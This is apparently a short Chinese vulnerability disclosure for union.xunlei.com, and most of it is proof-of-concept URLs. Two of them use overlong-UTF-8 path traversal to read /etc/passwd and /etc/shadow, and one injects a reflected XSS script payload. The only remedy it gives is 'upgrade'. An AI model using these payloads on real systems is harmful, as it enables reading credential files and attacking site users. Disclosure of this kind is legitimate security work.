简要描述:
连root密码文件都可读,还有几个xss 漏洞证明: http://union.xunlei.com:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://union.xunlei.com:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shadow http://union.xunlei.com:80/center/union/helpcontent1.jsf?fathertitle=1%3cScRiPt%20%3eprompt%28972193%29%3c%2fScRiPt%3e&seqid=169 修复方案: 升级吧 |